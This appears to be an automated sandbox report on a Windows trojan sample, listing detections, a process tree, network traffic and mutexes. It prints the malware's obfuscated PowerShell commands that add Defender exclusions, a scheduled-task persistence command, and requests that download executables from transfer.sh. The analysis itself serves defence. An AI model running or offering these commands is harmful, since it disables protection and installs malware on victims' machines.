Edit tour

Windows Analysis Report
SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Overview

General Information

Sample Name:	SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe
Analysis ID:	865491
MD5:	e1aa70e7ef25fdadd52160e9b9f37b37
SHA1:	7b1538dbde2ad906db1a03dd62604c787adb6579
SHA256:	eb9c9eb6572805d03da8b824b1d179301cded34e9c9a71dd1573daa0b2978953
Tags:	exe
Infos:

Detection

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Suspicious powershell command line found

May check the online IP address of the machine

Adds a directory exclusion to Windows Defender

Uses schtasks.exe or at.exe to add and modify task schedules

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Drops PE files

Checks if the current process is being debugged

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe (PID: 6972 cmdline: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe MD5: E1AA70E7EF25FDADD52160E9B9F37B37)

powershell.exe (PID: 2108 cmdline: powershell "Start-Process <#uvbdteguxxcvxgbwugr#> powershell <#eusqdgkfiwwiaydnu#> -Verb <#jdnlkeczqufwm#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force' MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 3100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 6672 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 3420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

MonDisc.exe (PID: 680 cmdline: C:\Users\user\AppData\Roaming\MonDisc.exe MD5: EEF2E49FD27D42237FFB929E1A39FC2D)

powershell.exe (PID: 5980 cmdline: powershell "Start-Process <#hmfvaudyls#> powershell <#hmfvaudyls#> -Verb <#hmfvaudyls#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force' MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 6020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 5480 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 5336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 6000 cmdline: schtasks /create /sc daily /st 12:00 /f /tn "MonDisc" /tr "C:\Users\user\AppData\Roaming\MonDisc.exe" MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

conhost.exe (PID: 6140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

LoWin64.exe (PID: 1360 cmdline: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe MD5: 79F329EA2EC0C1BAED4F262F79B48BA5)

MonDisc.exe (PID: 2228 cmdline: C:\Users\user\AppData\Roaming\MonDisc.exe MD5: EEF2E49FD27D42237FFB929E1A39FC2D)

MonDisc.exe (PID: 6604 cmdline: "C:\Users\user\AppData\Roaming\MonDisc.exe" MD5: EEF2E49FD27D42237FFB929E1A39FC2D)

MonDisc.exe (PID: 4976 cmdline: "C:\Users\user\AppData\Roaming\MonDisc.exe" MD5: EEF2E49FD27D42237FFB929E1A39FC2D)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	ReversingLabs: Detection: 24%
Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Virustotal: Detection: 26%			Perma Link

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Avira: detection malicious, Label: HEUR/AGEN.1315574
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Avira: detection malicious, Label: HEUR/AGEN.1315574

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\MonDisc.exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Virustotal: Detection: 55%	Perma Link
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	ReversingLabs: Detection: 48%
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Virustotal: Detection: 53%	Perma Link

Source: unknown

HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49703 version: TLS 1.2

Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Networking

May check the online IP address of the machine

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	DNS query: name: ip-api.com
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	DNS query: name: ip-api.com
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	DNS query: name: ip-api.com

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.130.81
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.130.81
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.130.81
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.129.168
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.129.168
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.129.168
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.129.168
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.129.168
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.129.168
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.130.81
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.130.81
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.130.81
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.129.168
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.129.168
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.129.168
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.129.168
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.129.168
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.129.168
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.130.81
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.130.81
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.129.168
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.130.81
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.129.168
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.129.168
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.129.168
Source: unknown	TCP traffic detected without corresponding DNS query: 185.159.129.168
Source: unknown	TCP traffic detected without corresponding DNS query: 185.149.146.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.149.146.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.149.146.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.149.146.118

Source: powershell.exe, 0000000A.00000002.347490488.0000029368A94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.317857628.0000029358AE9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.347490488.000002936895D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000A.00000002.317857628.0000029358AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000A.00000002.317857628.00000293588E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000A.00000002.317857628.0000029358AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000A.00000002.347490488.000002936895D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000A.00000002.347490488.000002936895D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000A.00000002.347490488.000002936895D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000A.00000002.317857628.0000029358AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000A.00000002.347490488.0000029368A94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.317857628.0000029358AE9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.347490488.000002936895D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown

DNS traffic detected: queries for: ip-api.com

Source: global traffic	HTTP traffic detected: GET /get/1PRjTr/clip.exe HTTP/1.1User-Agent: MonkeyHost: transfer.shConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /get/1h9hjM/LoWin64.exe HTTP/1.1User-Agent: MonkeyHost: transfer.shConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/?fields=query,status,countryCode,city,timezone HTTP/1.1Content-Type: application/jsonUser-Agent: MonkeyHost: ip-api.com
Source: global traffic	HTTP traffic detected: GET /get/1PRjTr/clip.exe HTTP/1.1Content-Type: application/jsonUser-Agent: MonkeyHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET /json/?fields=query,status,countryCode,city,timezone HTTP/1.1Content-Type: application/jsonUser-Agent: CatHost: ip-api.com
Source: global traffic	HTTP traffic detected: GET /get/1h9hjM/LoWin64.exe HTTP/1.1Content-Type: application/jsonUser-Agent: MonkeyHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET /json/?fields=query,status,countryCode,city,timezone HTTP/1.1Content-Type: application/jsonUser-Agent: CatHost: ip-api.com

Source: unknown

HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49703 version: TLS 1.2

Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_3_00007FF706570153	15_3_00007FF706570153
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_3_00007FF70657C5E0	15_3_00007FF70657C5E0
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_3_00007FF706574EB8	15_3_00007FF706574EB8
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F8EB4	15_2_00007FF6ED0F8EB4
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F50E0	15_2_00007FF6ED0F50E0
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED10C120	15_2_00007FF6ED10C120
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F56BC	15_2_00007FF6ED0F56BC
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F81BD	15_2_00007FF6ED0F81BD
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F63BA	15_2_00007FF6ED0F63BA
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED1503F0	15_2_00007FF6ED1503F0
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED110F30	15_2_00007FF6ED110F30
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED149F10	15_2_00007FF6ED149F10
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED1CEE30	15_2_00007FF6ED1CEE30
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED1B0070	15_2_00007FF6ED1B0070
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F512F	15_2_00007FF6ED0F512F
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F5117	15_2_00007FF6ED0F5117
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F8F3E	15_2_00007FF6ED0F8F3E
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED13BFC0	15_2_00007FF6ED13BFC0
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED137960	15_2_00007FF6ED137960
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED192938	15_2_00007FF6ED192938
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED192BBC	15_2_00007FF6ED192BBC
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED193BBC	15_2_00007FF6ED193BBC
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED19269C	15_2_00007FF6ED19269C
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED1935E8	15_2_00007FF6ED1935E8
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED11A860	15_2_00007FF6ED11A860
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED10A850	15_2_00007FF6ED10A850
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED1D18AC	15_2_00007FF6ED1D18AC
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED1938DC	15_2_00007FF6ED1938DC
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED155920	15_2_00007FF6ED155920
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED13D820	15_2_00007FF6ED13D820
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED1AB264	15_2_00007FF6ED1AB264
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED136240	15_2_00007FF6ED136240
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F825C	15_2_00007FF6ED0F825C
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F82A9	15_2_00007FF6ED0F82A9
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F82C7	15_2_00007FF6ED0F82C7
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F832A	15_2_00007FF6ED0F832A
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED193308	15_2_00007FF6ED193308
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED112310	15_2_00007FF6ED112310
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F516F	15_2_00007FF6ED0F516F
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED1AB148	15_2_00007FF6ED1AB148
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F5191	15_2_00007FF6ED0F5191
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F517B	15_2_00007FF6ED0F517B
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F8202	15_2_00007FF6ED0F8202
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED112230	15_2_00007FF6ED112230
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED1B5214	15_2_00007FF6ED1B5214
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED1AB4A0	15_2_00007FF6ED1AB4A0
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED10F490	15_2_00007FF6ED10F490
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F834D	15_2_00007FF6ED0F834D
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED1AB384	15_2_00007FF6ED1AB384
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED192418	15_2_00007FF6ED192418
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_3_00007FF6F0BCC8F2	25_3_00007FF6F0BCC8F2
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_3_00007FF6F0BC8E5C	25_3_00007FF6F0BC8E5C
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CAEE80	25_2_00007FF6B1CAEE80
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CC2860	25_2_00007FF6B1CC2860
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1D856A0	25_2_00007FF6B1D856A0
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CECAB0	25_2_00007FF6B1CECAB0
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1D6BA84	25_2_00007FF6B1D6BA84
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CC8AA0	25_2_00007FF6B1CC8AA0
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CEE1D0	25_2_00007FF6B1CEE1D0
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1D0C190	25_2_00007FF6B1D0C190
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1D8811C	25_2_00007FF6B1D8811C
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1D668E0	25_2_00007FF6B1D668E0
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CC10C0	25_2_00007FF6B1CC10C0
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CC77A0	25_2_00007FF6B1CC77A0

Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	ReversingLabs: Detection: 24%
Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Virustotal: Detection: 26%

Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "Start-Process <#uvbdteguxxcvxgbwugr#> powershell <#eusqdgkfiwwiaydnu#> -Verb <#jdnlkeczqufwm#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Process created: C:\Users\user\AppData\Roaming\MonDisc.exe C:\Users\user\AppData\Roaming\MonDisc.exe
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "Start-Process <#hmfvaudyls#> powershell <#hmfvaudyls#> -Verb <#hmfvaudyls#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /sc daily /st 12:00 /f /tn "MonDisc" /tr "C:\Users\user\AppData\Roaming\MonDisc.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\MonDisc.exe C:\Users\user\AppData\Roaming\MonDisc.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Process created: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\MonDisc.exe "C:\Users\user\AppData\Roaming\MonDisc.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\MonDisc.exe "C:\Users\user\AppData\Roaming\MonDisc.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "Start-Process <#uvbdteguxxcvxgbwugr#> powershell <#eusqdgkfiwwiaydnu#> -Verb <#jdnlkeczqufwm#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Process created: C:\Users\user\AppData\Roaming\MonDisc.exe C:\Users\user\AppData\Roaming\MonDisc.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Process created: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "Start-Process <#hmfvaudyls#> powershell <#hmfvaudyls#> -Verb <#hmfvaudyls#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /sc daily /st 12:00 /f /tn "MonDisc" /tr "C:\Users\user\AppData\Roaming\MonDisc.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

File created: C:\Users\user\AppData\Local\Temp\MonDiscexe542.tmp

Jump to behavior

Source: classification engine

Classification label: mal80.troj.evad.winEXE@23/17@4/5

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5336:120:WilError_01
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Mutant created: \Sessions\1\BaseNamedObjects\{VXLANG-5cfcbdfa7ef34f1d3c5f7e5733259972}
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Mutant created: \Sessions\1\BaseNamedObjects\Monkey542
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6020:120:WilError_01
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Mutant created: \Sessions\1\BaseNamedObjects\Cat94
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Mutant created: \Sessions\1\BaseNamedObjects\{VXLANG-40f6bdfa62f94f1d20557e572f2f9972}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3100:120:WilError_01
